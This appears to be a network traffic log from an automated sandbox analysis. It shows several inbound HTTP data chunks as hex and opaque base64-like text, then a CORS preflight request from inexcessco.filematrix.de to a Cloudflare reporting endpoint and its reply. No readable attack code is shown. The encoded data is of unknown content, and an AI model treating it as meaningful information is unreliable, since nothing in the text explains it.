2025-03-20 15:11:50 UTC	1369	IN	Data Raw: 6f 71 58 66 49 68 74 5a 4b 65 43 63 71 4f 30 72 61 57 69 65 62 52 35 75 6f 69 63 6f 4c 32 50 72 4d 47 51 6c 4a 4f 6b 74 59 76 4e 76 34 57 59 75 36 37 53 73 63 6e 48 6c 72 58 4d 31 72 48 63 70 39 79 74 71 61 32 68 76 4c 4b 32 31 4f 48 57 79 4e 4c 44 6f 62 79 35 32 4d 65 77 6f 36 2f 53 38 66 44 7a 74 72 50 55 31 62 48 4d 79 65 6a 55 79 72 6b 42 37 73 51 45 39 50 76 53 43 67 55 46 31 67 34 4a 33 75 6e 4c 37 67 51 48 2f 68 50 57 7a 76 4c 35 48 64 73 59 47 50 6a 5a 38 78 34 4e 37 66 44 30 46 53 67 4b 4a 2b 55 4d 4a 66 63 64 47 52 45 46 37 54 4d 32 39 54 66 30 4a 4f 7a 74 4e 4f 2f 35 4d 6a 6a 36 45 6a 41 75 49 77 59 2b 4a 41 64 48 4b 42 6c 49 49 30 4a 48 44 43 6f 67 4c 6a 63 74 4a 43 5a 56 4c 79 68 52 4a 31 49 35 58 31 70 4e 58 6c 39 44 59 44 70 64 4b 45 55 6b Data Ascii: oqXfIhtZKeCcqO0raWiebR5uoicoL2PrMGQlJOktYvNv4WYu67SscnHlrXM1rHcp9ytqa2hvLK21OHWyNLDoby52Mewo6/S8fDztrPU1bHMyejUyrkB7sQE9PvSCgUF1g4J3unL7gQH/hPWzvL5HdsYGPjZ8x4N7fD0FSgKJ+UMJfcdGREF7TM29Tf0JOztNO/5Mjj6EjAuIwY+JAdHKBlII0JHDCogLjctJCZVLyhRJ1I5X1pNXl9DYDpdKEUk
2025-03-20 15:11:50 UTC	1369	IN	Data Raw: 47 73 63 62 4b 41 6c 4a 69 31 68 36 53 35 69 49 79 4c 6e 4b 32 44 78 62 64 39 6b 4c 4f 6d 79 71 6e 42 76 34 36 34 77 6f 65 70 31 4a 2f 55 70 61 47 6c 6d 62 53 71 72 73 7a 5a 7a 73 44 4b 75 35 6d 30 73 64 43 2f 71 4a 75 6e 79 75 6e 6f 36 36 36 72 7a 4d 32 70 78 4d 48 67 7a 4d 4b 78 2b 4f 61 38 2b 2b 7a 7a 79 67 4c 38 2f 4d 34 47 41 64 62 68 77 2b 62 37 2f 76 59 4c 7a 73 62 71 37 65 76 51 31 66 48 77 31 75 37 77 46 66 6f 63 39 68 38 57 34 41 48 32 49 4e 33 6a 41 41 6a 69 49 69 51 6f 37 41 4d 74 42 52 34 53 43 7a 49 75 4a 44 51 4b 44 43 59 72 39 6a 4c 32 4c 52 4d 4f 39 44 30 34 44 78 6f 54 47 68 77 67 54 55 77 61 4c 53 74 41 47 7a 77 76 48 69 64 46 4f 54 56 45 4c 56 45 77 4d 53 78 49 59 56 6c 66 47 32 42 45 4a 47 45 7a 50 6a 5a 68 53 45 35 4a 52 30 55 6f 63 Data Ascii: GscbKAlJi1h6S5iIyLnK2Dxbd9kLOmyqnBv464woep1J/UpaGlmbSqrszZzsDKu5m0sdC/qJunyuno666rzM2pxMHgzMKx+Oa8++zzygL8/M4GAdbhw+b7/vYLzsbq7evQ1fHw1u7wFfoc9h8W4AH2IN3jAAjiIiQo7AMtBR4SCzIuJDQKDCYr9jL2LRMO9D04DxoTGhwgTUwaLStAGzwvHidFOTVELVEwMSxIYVlfG2BEJGEzPjZhSE5JR0Uoc
2025-03-20 15:11:50 UTC	1369	IN	Data Raw: 59 65 62 75 55 68 36 79 4a 6d 62 68 39 66 72 79 54 74 4c 47 65 78 70 62 4b 7a 70 62 4f 69 38 4b 2b 72 39 4f 4f 6b 4b 71 30 30 37 71 6d 30 73 36 2b 76 72 58 68 7a 4a 72 59 6e 4c 58 6f 75 4b 50 6b 79 36 6e 64 78 76 44 68 78 61 6e 6d 38 2f 48 42 76 2f 62 6c 2b 74 76 58 30 75 7a 56 38 41 45 42 30 62 38 46 33 63 54 64 30 2b 45 45 42 75 6e 73 32 67 58 6b 43 39 4d 50 41 77 6b 4e 38 50 4c 6a 32 68 6e 5a 31 4e 2f 74 2b 41 77 6a 35 41 38 43 35 75 4d 58 44 4f 6f 4e 36 75 55 72 4c 53 6f 66 4b 43 30 46 4e 41 6b 74 45 52 4d 39 4c 77 38 4d 44 44 51 43 48 52 4d 59 4d 50 78 48 51 41 6b 43 48 79 55 71 48 53 78 47 42 42 30 6a 44 43 46 43 56 43 5a 62 46 30 55 54 4d 52 63 36 55 6b 70 4c 50 32 49 38 55 56 46 59 50 54 64 5a 52 6b 35 72 4b 6c 42 70 50 47 46 65 64 6e 52 70 64 33 Data Ascii: YebuUh6yJmbh9fryTtLGexpbKzpbOi8K+r9OOkKq007qm0s6+vrXhzJrYnLXouKPky6ndxvDhxanm8/HBv/bl+tvX0uzV8AEB0b8F3cTd0+EEBuns2gXkC9MPAwkN8PLj2hnZ1N/t+Awj5A8C5uMXDOoN6uUrLSofKC0FNAktERM9Lw8MDDQCHRMYMPxHQAkCHyUqHSxGBB0jDCFCVCZbF0UTMRc6UkpLP2I8UVFYPTdZRk5rKlBpPGFednRpd3
2025-03-20 15:11:50 UTC	1369	IN	Data Raw: 6f 61 44 44 73 37 78 2f 6f 4d 61 5a 68 37 53 38 6e 72 75 67 76 37 75 77 6f 64 58 4c 74 62 50 48 6d 4c 69 75 30 61 32 30 72 64 58 42 72 4b 33 53 70 4c 53 36 35 38 6e 6a 75 4e 6e 6e 7a 4c 6a 76 30 62 32 37 35 65 76 79 77 65 75 34 78 36 32 30 7a 65 76 4d 37 75 7a 63 31 67 50 76 30 64 30 4a 33 66 6f 49 43 4f 48 4d 31 77 62 79 2f 75 73 47 44 4f 44 71 46 2f 6e 6c 39 78 48 39 44 2f 34 55 47 43 4d 53 45 2b 48 67 38 42 59 6b 2b 51 76 6a 47 53 44 33 4c 77 59 47 46 44 49 74 4b 77 67 73 39 53 4d 51 4d 77 34 56 4b 7a 38 68 41 51 33 38 42 6b 51 78 52 78 34 57 46 67 55 4d 44 44 46 42 49 7a 38 79 52 69 67 68 49 30 35 45 4b 41 35 62 53 55 78 49 47 56 77 75 4c 47 4e 68 54 78 70 6f 4f 31 38 38 59 43 70 58 52 47 64 43 53 56 39 7a 56 54 56 42 4d 54 70 30 56 58 74 53 53 6b 6f Data Ascii: oaDDs7x/oMaZh7S8nrugv7uwodXLtbPHmLiu0a20rdXBrK3SpLS658njuNnnzLjv0b275evyweu4x620zevM7uzc1gPv0d0J3foICOHM1wby/usGDODqF/nl9xH9D/4UGCMSE+Hg8BYk+QvjGSD3LwYGFDItKwgs9SMQMw4VKz8hAQ38BkQxRx4WFgUMDDFBIz8yRighI05EKA5bSUxIGVwuLGNhTxpoO188YCpXRGdCSV9zVTVBMTp0VXtSSko
2025-03-20 15:11:50 UTC	1369	IN	Data Raw: 72 69 5a 71 33 33 44 78 61 7a 42 77 72 43 50 76 59 36 6e 76 73 6a 47 71 61 2b 52 7a 4b 37 48 73 4a 65 67 31 73 54 53 74 74 4b 33 33 63 6e 71 79 65 50 6f 31 39 71 71 33 4e 76 65 72 63 72 69 7a 2b 62 76 34 72 58 30 39 72 66 7a 39 4e 49 44 31 2f 66 42 30 4d 44 35 32 65 6a 66 2b 77 58 48 32 51 54 4f 41 2b 41 45 41 42 44 69 44 42 45 50 36 41 76 75 32 4f 67 68 47 67 7a 31 49 2f 6b 46 39 2b 44 35 4a 78 59 62 36 42 63 62 48 77 49 46 2f 6a 4d 67 41 51 34 73 39 44 73 6e 4d 67 38 72 43 30 45 69 48 53 42 45 4a 6a 67 52 52 78 73 6c 48 30 49 65 4a 52 35 47 4d 68 30 65 51 78 56 4c 4a 31 63 36 52 43 6c 4f 53 44 30 30 58 7a 49 67 51 31 59 33 49 46 4a 63 4a 55 49 39 58 6b 4e 4a 51 47 39 63 50 6b 46 6b 4e 6c 46 4c 62 6b 70 52 53 6e 4a 65 53 55 70 76 51 56 46 58 68 47 61 41 Data Ascii: riZq33DxazBwrCPvY6nvsjGqa+RzK7HsJeg1sTSttK33cnqyePo19qq3Nvercriz+bv4rX09rfz9NID1/fB0MD52ejf+wXH2QTOA+AEABDiDBEP6Avu2OghGgz1I/kF9+D5JxYb6BcbHwIF/jMgAQ4s9DsnMg8rC0EiHSBEJjgRRxslH0IeJR5GMh0eQxVLJ1c6RClOSD00XzIgQ1Y3IFJcJUI9XkNJQG9cPkFkNlFLbkpRSnJeSUpvQVFXhGaA

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:11:51 UTC	567	OUT	OPTIONS /report/v4?s=MGpxJYDMnOxbdTsnjlqankIfjTEua%2BTEmZcl%2BZiu8tLYjxJ8Muz39E%2BK7MUZ6DsoI9sgRb5nzXB41NX6FKLSZDeWDkBFTmVM3zrIn0CWGkRwzsPhn8IVCwnF5e5uvCe%2Fs7Qj3E5%2Fh7NgdSI%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://inexcessco.filematrix.de Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:11:51 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 20 Mar 2025 15:11:51 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close